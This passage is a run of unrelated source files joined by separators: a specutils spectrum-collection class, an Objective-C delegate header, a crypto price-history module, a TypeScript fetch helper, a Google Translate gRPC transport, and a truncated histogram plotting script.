The flux data. The trailing dimension should be the spectral dimension.
spectral_axis : :class:`astropy.units.Quantity`
The spectral axes of the spectra (e.g., wavelength). Must match the
dimensionality of ``flux``.
wcs : wcs object or None
A wcs object (if available) for the collection of spectra. The object
must follow standard indexing rules to get a sub-wcs if it is provided.
uncertainty : :class:`astropy.nddata.NDUncertainty` or ndarray
The uncertainties associated with each spectrum of the collection. In
the case that only an n-dimensional quantity or ndaray is provided,
the uncertainties are assumed to be standard deviations. Must match the
dimensionality of ``flux``.
mask : ndarray or None
The n-dimensional mask information associated with each spectrum. If
present, must match the dimensionality of ``flux``.
meta : list
The list of dictionaries containing meta data to be associated with
each spectrum in the collection.
"""
def __init__(self, flux, spectral_axis=None, wcs=None, uncertainty=None,
mask=None, meta=None):
# Check for quantity
if not isinstance(flux, u.Quantity):
raise u.UnitsError("Flux must be a `Quantity`.")
if spectral_axis is not None:
if not isinstance(spectral_axis, u.Quantity):
raise u.UnitsError("Spectral axis must be a `Quantity`.")
spectral_axis = SpectralCoord(spectral_axis)
# Ensure that the input values are the same shape
if not (flux.shape == spectral_axis.shape):
raise ValueError("Shape of all data elements must be the same.")
if uncertainty is not None and uncertainty.array.shape != flux.shape:
raise ValueError("Uncertainty must be the same shape as flux and "
"spectral axis.")
if mask is not None and mask.shape != flux.shape:
raise ValueError("Mask must be the same shape as flux and "
"spectral axis.")
# Convert uncertainties to standard deviations if not already defined
# to be of some type
if uncertainty is not None and not isinstance(uncertainty, NDUncertainty):
# If the uncertainties are not provided a unit, raise a warning
# and use the flux units
if not isinstance(uncertainty, u.Quantity):
log.warning("No unit associated with uncertainty, assuming"
"flux units of '{}'.".format(flux.unit))
uncertainty = u.Quantity(uncertainty, unit=flux.unit)
uncertainty = StdDevUncertainty(uncertainty)
self._flux = flux
self._spectral_axis = spectral_axis
self._wcs = wcs
self._uncertainty = uncertainty
self._mask = mask
self._meta = meta
def __getitem__(self, key):
flux = self.flux[key]
if flux.ndim != 1:
raise ValueError("Currently only 1D data structures may be "
"returned from slice operations.")
spectral_axis = self.spectral_axis[key]
uncertainty = None if self.uncertainty is None else self.uncertainty[key]
wcs = None if self.wcs is None else self.wcs[key]
mask = None if self.mask is None else self.mask[key]
if self.meta is None:
meta = None
else:
try:
meta = self.meta[key]
except KeyError:
meta = self.meta
return Spectrum1D(flux=flux, spectral_axis=spectral_axis,
uncertainty=uncertainty, wcs=wcs, mask=mask,
meta=meta)
@classmethod
def from_spectra(cls, spectra):
"""
Create a spectrum collection from a set of individual
:class:`specutils.Spectrum1D` objects.
Parameters
----------
spectra : list, ndarray
A list of :class:`~specutils.Spectrum1D` objects to be held in the
collection. Currently the spectral_axis parameters (e.g. observer,
radial_velocity) must be the same for each spectrum.
"""
# Enforce that the shape of each item must be the same
if not all((x.shape == spectra[0].shape for x in spectra)):
raise ValueError("Shape of all elements must be the same.")
# Compose multi-dimensional ndarrays for each property
flux = u.Quantity([spec.flux for spec in spectra])
# Check that the spectral parameters are the same for each input
# spectral_axis and create the multi-dimensional SpectralCoord
sa = [x.spectral_axis for x in spectra]
if not all(x.radial_velocity == sa[0].radial_velocity for x in sa) or \
not all(x.target == sa[0].target for x in sa) or \
not all(x.observer == sa[0].observer for x in sa) or \
not all(x.doppler_convention == sa[0].doppler_convention for
x in sa) or \
not all(x.doppler_rest == sa[0].doppler_rest for x in sa):
raise ValueError("All input spectral_axis SpectralCoord "
"objects must have the same parameters.")
spectral_axis = SpectralCoord(sa,
radial_velocity=sa[0].radial_velocity,
doppler_rest=sa[0].doppler_rest,
doppler_convention=sa[0].doppler_convention,
observer=sa[0].observer,
target=sa[0].target)
# Check that either all spectra have associated uncertainties, or that
# none of them do. If only some do, log an error and ignore the
# uncertainties.
if not all((x.uncertainty is None for x in spectra)) and \
any((x.uncertainty is not None for x in spectra)) and \
all((x.uncertainty.uncertainty_type ==
spectra[0].uncertainty.uncertainty_type
for x in spectra)):
quncs = u.Quantity([spec.uncertainty.quantity for spec in spectra])
uncertainty = spectra[0].uncertainty.__class__(quncs)
else:
uncertainty = None
log.warning("Not all spectra have associated uncertainties of "
"the same type, skipping uncertainties.")
# Check that either all spectra have associated masks, or that
# none of them do. If only some do, log an error and ignore the masks.
if not all((x.mask is None for x in spectra)) and \
any((x.mask is not None for x in spectra)):
mask = np.array([spec.mask for spec in spectra])
else:
mask = None
log.warning("Not all spectra have associated masks, "
"skipping masks.")
# Store the wcs and meta as lists
wcs = [spec.wcs for spec in spectra]
meta = [spec.meta for spec in spectra]
return cls(flux=flux, spectral_axis=spectral_axis,
uncertainty=uncertainty, wcs=wcs, mask=mask, meta=meta)
@property
def flux(self):
"""The flux in the spectrum as a `~astropy.units.Quantity`."""
return self._flux
@property
def spectral_axis(self):
"""The spectral axes as a `~astropy.units.Quantity`."""
return self._spectral_axis
@property
def frequency(self):
"""
The spectral axis as a frequency `~astropy.units.Quantity` (in GHz).
"""
return self.spectral_axis.to(u.GHz, u.spectral())
@property
def wavelength(self):
"""
The spectral axis as a wavelength `~astropy.units.Quantity` (in
Angstroms).
"""
return self.spectral_axis.to(u.AA, u.spectral())
@property
def energy(self):
"""
The spectral axis as an energy `~astropy.units.Quantity` (in eV).
"""
return self.spectral_axis.to(u.eV, u.spectral())
@property
def wcs(self):
"""The WCS's as an object array"""
return self._wcs
@property
def uncertainty(self):
"""The uncertainty in the spectrum as a `~astropy.units.Quantity`."""
return self._uncertainty
@property
def mask(self):
"""The mask array for the spectrum."""
return self._mask
@property
def meta(self):
"""A dictionary of metadata for theis spectrum collection, or `None`."""
return self._meta
@property
def shape(self):
"""
The shape of the collection. This is *not* the same as
the shape of the flux et al., because the trailing (spectral)
dimension is not included here.
"""
return self.flux.shape[:-1]
def __len__(self):
return self.shape[0]
@property
def ndim(self):
"""
The dimensionality of the collection. This is *not* the same as
the dimensionality of the flux et al., because the trailing (spectral)
dimension is not included here.
"""
return self.flux.ndim - 1
@property
def nspectral(self):
"""
The length of the spectral dimension.
"""
return self.flux.shape[-1]
def __repr__(self):
return """SpectrumCollection(ndim={}, shape={})
Flux units: {}
Spectral axis units: {}
Uncertainty type: {}""".format(
self.ndim, self.shape, self.flux.unit, self.spectral_axis.unit,
self.uncertainty.uncertainty_type if self.uncertainty is not None else None)
|
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import "NSObject-Protocol.h"
@class CContact;
@protocol BrandProfileHeaderViewDelegate <NSObject>
- (void)onPersonalVerifiedLabelClicked:(CContact *)arg1;
- (void)onFoldButtonClicked:(CContact *)arg1;
- (void)onUnfocusButtonClicked:(CContact *)arg1;
- (void)onEnterButtonClicked:(CContact *)arg1;
- (void)onFocusButtonClicked:(CContact *)arg1;
- (void)onBrandAvatarClicked:(struct CGRect)arg1;
@end
|
import logging
from typing import TYPE_CHECKING, Optional
from rotkehlchen.assets.asset import Asset
from rotkehlchen.constants.assets import A_USD
from rotkehlchen.errors import RemoteError
from rotkehlchen.fval import FVal
from rotkehlchen.inquirer import Inquirer
from rotkehlchen.logging import RotkehlchenLogsAdapter
from rotkehlchen.typing import FilePath, Price, Timestamp
from rotkehlchen.utils.misc import create_timestamp
if TYPE_CHECKING:
from rotkehlchen.externalapis.cryptocompare import Cryptocompare
logger = logging.getLogger(__name__)
log = RotkehlchenLogsAdapter(logger)
def query_usd_price_or_use_default(
asset: Asset,
time: Timestamp,
default_value: FVal,
location: str,
) -> Price:
try:
usd_price = PriceHistorian().query_historical_price(
from_asset=asset,
to_asset=A_USD,
timestamp=time,
)
except RemoteError:
log.error(
f'Could not query usd price for {asset.identifier} when processing '
f'{location}. Assuming price of ${str(default_value)}',
)
usd_price = Price(default_value)
return usd_price
class PriceHistorian():
__instance: Optional['PriceHistorian'] = None
_historical_data_start: Timestamp
_cryptocompare: 'Cryptocompare'
def __new__(
cls,
data_directory: FilePath = None,
history_date_start: str = None,
cryptocompare: 'Cryptocompare' = None,
) -> 'PriceHistorian':
if PriceHistorian.__instance is not None:
return PriceHistorian.__instance
assert data_directory, 'arguments should be given at the first instantiation'
assert history_date_start, 'arguments should be given at the first instantiation'
assert cryptocompare, 'arguments should be given at the first instantiation'
PriceHistorian.__instance = object.__new__(cls)
# get the start date for historical data
PriceHistorian._historical_data_start = create_timestamp(
datestr=history_date_start,
formatstr="%d/%m/%Y",
)
PriceHistorian._cryptocompare = cryptocompare
return PriceHistorian.__instance
@staticmethod
def query_historical_price(from_asset: Asset, to_asset: Asset, timestamp: Timestamp) -> Price:
"""
Query the historical price on `timestamp` for `from_asset` in `to_asset`.
So how much `to_asset` does 1 unit of `from_asset` cost.
Args:
from_asset: The ticker symbol of the asset for which we want to know
the price.
to_asset: The ticker symbol of the asset against which we want to
know the price.
timestamp: The timestamp at which to query the price
May raise:
- PriceQueryUnknownFromAsset if the from asset is known to miss from cryptocompare
- NoPriceForGivenTimestamp if we can't find a price for the asset in the given
timestamp from the external service.
- RemoteError if there is a problem reaching the price oracle server
or with reading the response returned by the server
"""
log.debug(
'Querying historical price',
from_asset=from_asset,
to_asset=to_asset,
timestamp=timestamp,
)
if from_asset == to_asset:
return Price(FVal('1'))
if from_asset.is_fiat() and to_asset.is_fiat():
# if we are querying historical forex data then try something other than cryptocompare
price = Inquirer().query_historical_fiat_exchange_rates(
from_fiat_currency=from_asset,
to_fiat_currency=to_asset,
timestamp=timestamp,
)
if price is not None:
return price
# else cryptocompare also has historical fiat to fiat data
instance = PriceHistorian()
return instance._cryptocompare.query_historical_price(
from_asset=from_asset,
to_asset=to_asset,
timestamp=timestamp,
historical_data_start=instance._historical_data_start,
)
|
import lugiax from '@lugia/lugiax';
export default async function doRequest(url: string, { ...rest }) {
const apiUrls = lugiax
.getState()
.get('security')
.get('apiUrls')
.toJS();
// if (apiUrls.indexOf(url) === -1) {
// return Promise.resolve({ error: "无访API问权限" });
// }
const res = await dofetch(url, { ...rest });
return res;
}
async function dofetch(url, { ...rest }) {
return await fetch(url, {
...rest,
}).then(response => response.json());
}
|
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from typing import Callable, Dict, Optional, Sequence, Tuple
from google.api_core import grpc_helpers # type: ignore
from google.api_core import operations_v1 # type: ignore
from google import auth # type: ignore
from google.auth import credentials # type: ignore
from google.auth.transport.grpc import SslCredentials # type: ignore
import grpc # type: ignore
from google.cloud.translate_v3.types import translation_service
from google.longrunning import operations_pb2 as operations # type: ignore
from .base import TranslationServiceTransport
class TranslationServiceGrpcTransport(TranslationServiceTransport):
"""gRPC backend transport for TranslationService.
Provides natural language translation operations.
This class defines the same methods as the primary client, so the
primary client can load the underlying transport implementation
and call it.
It sends protocol buffers over the wire using gRPC (which is built on
top of HTTP/2); the ``grpcio`` package must be installed.
"""
_stubs: Dict[str, Callable]
def __init__(
self,
*,
host: str = "translate.googleapis.com",
credentials: credentials.Credentials = None,
credentials_file: str = None,
scopes: Sequence[str] = None,
channel: grpc.Channel = None,
api_mtls_endpoint: str = None,
client_cert_source: Callable[[], Tuple[bytes, bytes]] = None,
quota_project_id: Optional[str] = None
) -> None:
"""Instantiate the transport.
Args:
host (Optional[str]): The hostname to connect to.
credentials (Optional[google.auth.credentials.Credentials]): The
authorization credentials to attach to requests. These
credentials identify the application to the service; if none
are specified, the client will attempt to ascertain the
credentials from the environment.
This argument is ignored if ``channel`` is provided.
credentials_file (Optional[str]): A file with credentials that can
be loaded with :func:`google.auth.load_credentials_from_file`.
This argument is ignored if ``channel`` is provided.
scopes (Optional(Sequence[str])): A list of scopes. This argument is
ignored if ``channel`` is provided.
channel (Optional[grpc.Channel]): A ``Channel`` instance through
which to make calls.
api_mtls_endpoint (Optional[str]): The mutual TLS endpoint. If
provided, it overrides the ``host`` argument and tries to create
a mutual TLS channel with client SSL credentials from
``client_cert_source`` or applicatin default SSL credentials.
client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]): A
callback to provide client SSL certificate bytes and private key
bytes, both in PEM format. It is ignored if ``api_mtls_endpoint``
is None.
quota_project_id (Optional[str]): An optional project to use for billing
and quota.
Raises:
google.auth.exceptions.MutualTLSChannelError: If mutual TLS transport
creation failed for any reason.
google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``
and ``credentials_file`` are passed.
"""
if channel:
# Sanity check: Ensure that channel and credentials are not both
# provided.
credentials = False
# If a channel was explicitly provided, set it.
self._grpc_channel = channel
elif api_mtls_endpoint:
host = (
api_mtls_endpoint
if ":" in api_mtls_endpoint
else api_mtls_endpoint + ":443"
)
if credentials is None:
credentials, _ = auth.default(
scopes=self.AUTH_SCOPES, quota_project_id=quota_project_id
)
# Create SSL credentials with client_cert_source or application
# default SSL credentials.
if client_cert_source:
cert, key = client_cert_source()
ssl_credentials = grpc.ssl_channel_credentials(
certificate_chain=cert, private_key=key
)
else:
ssl_credentials = SslCredentials().ssl_credentials
# create a new channel. The provided one is ignored.
self._grpc_channel = type(self).create_channel(
host,
credentials=credentials,
credentials_file=credentials_file,
ssl_credentials=ssl_credentials,
scopes=scopes or self.AUTH_SCOPES,
quota_project_id=quota_project_id,
)
self._stubs = {} # type: Dict[str, Callable]
# Run the base constructor.
super().__init__(
host=host,
credentials=credentials,
credentials_file=credentials_file,
scopes=scopes or self.AUTH_SCOPES,
quota_project_id=quota_project_id,
)
@classmethod
def create_channel(
cls,
host: str = "translate.googleapis.com",
credentials: credentials.Credentials = None,
credentials_file: str = None,
scopes: Optional[Sequence[str]] = None,
quota_project_id: Optional[str] = None,
**kwargs
) -> grpc.Channel:
"""Create and return a gRPC channel object.
Args:
address (Optionsl[str]): The host for the channel to use.
credentials (Optional[~.Credentials]): The
authorization credentials to attach to requests. These
credentials identify this application to the service. If
none are specified, the client will attempt to ascertain
the credentials from the environment.
credentials_file (Optional[str]): A file with credentials that can
be loaded with :func:`google.auth.load_credentials_from_file`.
This argument is mutually exclusive with credentials.
scopes (Optional[Sequence[str]]): A optional list of scopes needed for this
service. These are only used when credentials are not specified and
are passed to :func:`google.auth.default`.
quota_project_id (Optional[str]): An optional project to use for billing
and quota.
kwargs (Optional[dict]): Keyword arguments, which are passed to the
channel creation.
Returns:
grpc.Channel: A gRPC channel object.
Raises:
google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``
and ``credentials_file`` are passed.
"""
scopes = scopes or cls.AUTH_SCOPES
return grpc_helpers.create_channel(
host,
credentials=credentials,
credentials_file=credentials_file,
scopes=scopes,
quota_project_id=quota_project_id,
**kwargs
)
@property
def grpc_channel(self) -> grpc.Channel:
"""Create the channel designed to connect to this service.
This property caches on the instance; repeated calls return
the same channel.
"""
# Sanity check: Only create a new channel if we do not already
# have one.
if not hasattr(self, "_grpc_channel"):
self._grpc_channel = self.create_channel(
self._host, credentials=self._credentials,
)
# Return the channel from cache.
return self._grpc_channel
@property
def operations_client(self) -> operations_v1.OperationsClient:
"""Create the client designed to process long-running operations.
This property caches on the instance; repeated calls return the same
client.
"""
# Sanity check: Only create a new client if we do not already have one.
if "operations_client" not in self.__dict__:
self.__dict__["operations_client"] = operations_v1.OperationsClient(
self.grpc_channel
)
# Return the client from cache.
return self.__dict__["operations_client"]
@property
def translate_text(
self,
) -> Callable[
[translation_service.TranslateTextRequest],
translation_service.TranslateTextResponse,
]:
r"""Return a callable for the translate text method over gRPC.
Translates input text and returns translated text.
Returns:
Callable[[~.TranslateTextRequest],
~.TranslateTextResponse]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "translate_text" not in self._stubs:
self._stubs["translate_text"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/TranslateText",
request_serializer=translation_service.TranslateTextRequest.serialize,
response_deserializer=translation_service.TranslateTextResponse.deserialize,
)
return self._stubs["translate_text"]
@property
def detect_language(
self,
) -> Callable[
[translation_service.DetectLanguageRequest],
translation_service.DetectLanguageResponse,
]:
r"""Return a callable for the detect language method over gRPC.
Detects the language of text within a request.
Returns:
Callable[[~.DetectLanguageRequest],
~.DetectLanguageResponse]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "detect_language" not in self._stubs:
self._stubs["detect_language"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/DetectLanguage",
request_serializer=translation_service.DetectLanguageRequest.serialize,
response_deserializer=translation_service.DetectLanguageResponse.deserialize,
)
return self._stubs["detect_language"]
@property
def get_supported_languages(
self,
) -> Callable[
[translation_service.GetSupportedLanguagesRequest],
translation_service.SupportedLanguages,
]:
r"""Return a callable for the get supported languages method over gRPC.
Returns a list of supported languages for
translation.
Returns:
Callable[[~.GetSupportedLanguagesRequest],
~.SupportedLanguages]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "get_supported_languages" not in self._stubs:
self._stubs["get_supported_languages"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/GetSupportedLanguages",
request_serializer=translation_service.GetSupportedLanguagesRequest.serialize,
response_deserializer=translation_service.SupportedLanguages.deserialize,
)
return self._stubs["get_supported_languages"]
@property
def batch_translate_text(
self,
) -> Callable[
[translation_service.BatchTranslateTextRequest], operations.Operation
]:
r"""Return a callable for the batch translate text method over gRPC.
Translates a large volume of text in asynchronous
batch mode. This function provides real-time output as
the inputs are being processed. If caller cancels a
request, the partial results (for an input file, it's
all or nothing) may still be available on the specified
output location.
This call returns immediately and you can
use google.longrunning.Operation.name to poll the status
of the call.
Returns:
Callable[[~.BatchTranslateTextRequest],
~.Operation]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "batch_translate_text" not in self._stubs:
self._stubs["batch_translate_text"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/BatchTranslateText",
request_serializer=translation_service.BatchTranslateTextRequest.serialize,
response_deserializer=operations.Operation.FromString,
)
return self._stubs["batch_translate_text"]
@property
def create_glossary(
self,
) -> Callable[[translation_service.CreateGlossaryRequest], operations.Operation]:
r"""Return a callable for the create glossary method over gRPC.
Creates a glossary and returns the long-running operation.
Returns NOT_FOUND, if the project doesn't exist.
Returns:
Callable[[~.CreateGlossaryRequest],
~.Operation]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "create_glossary" not in self._stubs:
self._stubs["create_glossary"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/CreateGlossary",
request_serializer=translation_service.CreateGlossaryRequest.serialize,
response_deserializer=operations.Operation.FromString,
)
return self._stubs["create_glossary"]
@property
def list_glossaries(
self,
) -> Callable[
[translation_service.ListGlossariesRequest],
translation_service.ListGlossariesResponse,
]:
r"""Return a callable for the list glossaries method over gRPC.
Lists glossaries in a project. Returns NOT_FOUND, if the project
doesn't exist.
Returns:
Callable[[~.ListGlossariesRequest],
~.ListGlossariesResponse]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "list_glossaries" not in self._stubs:
self._stubs["list_glossaries"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/ListGlossaries",
request_serializer=translation_service.ListGlossariesRequest.serialize,
response_deserializer=translation_service.ListGlossariesResponse.deserialize,
)
return self._stubs["list_glossaries"]
@property
def get_glossary(
self,
) -> Callable[
[translation_service.GetGlossaryRequest], translation_service.Glossary
]:
r"""Return a callable for the get glossary method over gRPC.
Gets a glossary. Returns NOT_FOUND, if the glossary doesn't
exist.
Returns:
Callable[[~.GetGlossaryRequest],
~.Glossary]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "get_glossary" not in self._stubs:
self._stubs["get_glossary"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/GetGlossary",
request_serializer=translation_service.GetGlossaryRequest.serialize,
response_deserializer=translation_service.Glossary.deserialize,
)
return self._stubs["get_glossary"]
@property
def delete_glossary(
self,
) -> Callable[[translation_service.DeleteGlossaryRequest], operations.Operation]:
r"""Return a callable for the delete glossary method over gRPC.
Deletes a glossary, or cancels glossary construction if the
glossary isn't created yet. Returns NOT_FOUND, if the glossary
doesn't exist.
Returns:
Callable[[~.DeleteGlossaryRequest],
~.Operation]:
A function that, when called, will call the underlying RPC
on the server.
"""
# Generate a "stub function" on-the-fly which will actually make
# the request.
# gRPC handles serialization and deserialization, so we just need
# to pass in the functions for each.
if "delete_glossary" not in self._stubs:
self._stubs["delete_glossary"] = self.grpc_channel.unary_unary(
"/google.cloud.translation.v3.TranslationService/DeleteGlossary",
request_serializer=translation_service.DeleteGlossaryRequest.serialize,
response_deserializer=operations.Operation.FromString,
)
return self._stubs["delete_glossary"]
__all__ = ("TranslationServiceGrpcTransport",)
|
def selection_3():
# Library import
import numpy
import matplotlib
import matplotlib.pyplot as plt
import matplotlib.gridspec as gridspec
# Library version
matplotlib_version = matplotlib.__version__
numpy_version = numpy.__version__
# Histo binning
xBinning = numpy.linspace(0.0,1000.0,101,endpoint=True)
# Creating data sequence: middle of each bin
xData = numpy.array([5.0,15.0,25.0,35.0,45.0,55.0,65.0,75.0,85.0,95.0,105.0,115.0,125.0,135.0,145.0,155.0,165.0,175.0,185.0,195.0,205.0,215.0,225.0,235.0,245.0,255.0,265.0,275.0,285.0,295.0,305.0,315.0,325.0,335.0,345.0,355.0,365.0,375.0,385.0,395.0,405.0,415.0,425.0,435.0,445.0,455.0,465.0,475.0,485.0,495.0,505.0,515.0,525.0,535.0,545.0,555.0,565.0,575.0,585.0,595.0,605.0,615.0,625.0,635.0,645.0,655.0,665.0,675.0,685.0,695.0,705.0,715.0,725.0,735.0,745.0,755.0,765.0,775.0,785.0,795.0,805.0,815.0,825.0,835.0,845.0,855.0,865.0,875.0,885.0,895.0,905.0,915.0,925.0,935.0,945.0,955.0,965.0,975.0,985.0,995.0])
# Creating weights for histo: y4_PT_0
y4_PT_0_weights = numpy.array([0.0,0.0,278.483678661,248.003225076,230.230800478,214.828853825,204.05734316,192.683953017,181.318802866,170.309812406,159.812581504,149.094270792,139.747478892,130.83052662,122.548213797,113.750021422,105.303948742,99.9161134109,92.4321198966,86.2500852541,81.0915297246,75.1141749047,70.3240990559,65.92294287,60.4532276101,57.6201500653,53.6734334856,49.718556913,47.2825590241,44.429001497,40.8712445802,38.2551188474,34.9593817036,33.1293272895,30.1815858441,27.7046639906,26.3781811402,24.6054426765,23.0292240425,20.9985578023,19.5983790157,18.3087441333,16.7980254425,16.1839139747,15.0334749717,13.6824281426,12.8267648841,11.6026339449,10.9844264807,10.0960112506,9.37135987861,8.9373842547,7.8033252375,7.61908939716,6.89443802515,6.40724244737,5.72353103988,5.76037500795,5.1339795508,4.60175201204,4.41342417525,4.1022724449,3.9057562152,3.41037184451,3.02552817802,2.90270548446,2.58746095766,2.68981326896,2.45235627474,2.1493941373,1.84643199985,1.70723292048,1.5434694624,1.58031623047,1.44521154755,1.26916610012,1.21184894979,1.08083826333,0.990768341382,0.953921573314,0.859757654918,0.847475265563,0.741029357811,0.614112667799,0.528136742307,0.560889513923,0.442161216815,0.429878827459,0.446255213267,0.376655713583,0.356185291323,0.397126135843,0.323432639707,0.290679948091,0.216986451956,0.18423376034,0.196516029696,0.208798299052,0.14329295582,0.110540264204])
# Creating weights for histo: y4_PT_1
y4_PT_1_weights = numpy.array([0.0,0.0,8.5293863026,6.70642181047,5.73903754932,5.16680139484,4.38205718299,3.97579747331,3.5938429702,3.10424723803,2.84660156847,2.54034348579,2.25491940874,1.93824452325,1.76671247694,1.5250396117,1.33336795996,1.2535047384,1.15419671159,0.995859068843,0.877106236785,0.875022636222,0.749325002289,0.679878583541,0.612515765355,0.577098155794,0.495151733672,0.45695612336,0.398621427612,0.390287865363,0.362509377863,0.315285925115,0.296535440053,0.279868355554,0.264590191429,0.23681170393,0.224311380555,0.196532853056,0.16805992537,0.160420803307,0.168754365557,0.124308793559,0.131253395433,0.122225392996,0.110419509809,0.0923635049346,0.0895856641846,0.0826410223099,0.0777797809975,0.0847244228723,0.0645850174354,0.0666683779979,0.0576403755607,0.0590292959356,0.0506957736859,0.0513902138734,0.0368065099363,0.0340286571864,0.0312508084365,0.0340286571864,0.0354175855614,0.0298618840615,0.0354175855614,0.0250006467492,0.0222227979993,0.0215283338118,0.0152781721245,0.0201394094369,0.0118058631871,0.0152781721245,0.0187504850619,0.0166670964995,0.015972636312,0.00972247462469,0.0118058631871,0.00833355024973,0.00833355024973,0.00833355024973,0.00902801043721,0.0111113989996,0.00763908606226,0.00486123731235,0.00902801043721,0.00486123731235,0.00347231213739,0.0062501616873,0.00555569749982,0.0062501616873,0.00347231213739,0.00277784954991,0.00138892477496,0.00277784954991,0.00555569749982,0.00277784954991,0.00277784954991,0.00138892477496,0.000694462587478,0.00555569749982,0.00277784954991,0.00138892477496])
# Creating weights for histo: y4_PT_2
y4_PT_2_weights = numpy.array([0.0,0.0,6809.77402574,4213.81458008,1126.72324386,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_3
y4_PT_3_weights = numpy.array([0.0,0.0,676.722027941,1159.06193757,1963.34662375,2131.57168452,1623.41148399,1179.9650223,718.594311113,242.644868736,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_4
y4_PT_4_weights = numpy.array([0.0,0.0,42.2970694239,63.4964674483,92.213682441,135.054201171,195.977033757,296.245969877,471.058868672,729.682968809,788.045776125,635.280335776,510.201681459,407.291225017,325.76952275,259.484673259,197.982356416,142.581483916,90.5464870584,30.0486962624,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_5
y4_PT_5_weights = numpy.array([0.0,0.0,2.19078692842,2.98506255452,4.0549636867,4.73887174667,5.77210915065,6.89005844957,7.80296199351,9.48070965224,10.9399916911,13.1084903404,15.5084375672,18.5505461715,23.4575069366,29.101073182,38.4968464732,52.2696922747,74.6204611914,107.718225063,115.891155254,97.6439469307,82.3083442361,69.1591614023,57.2331182837,47.1859364141,37.8228870706,28.1123922948,17.6262629991,6.17861321168,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y4_PT_6
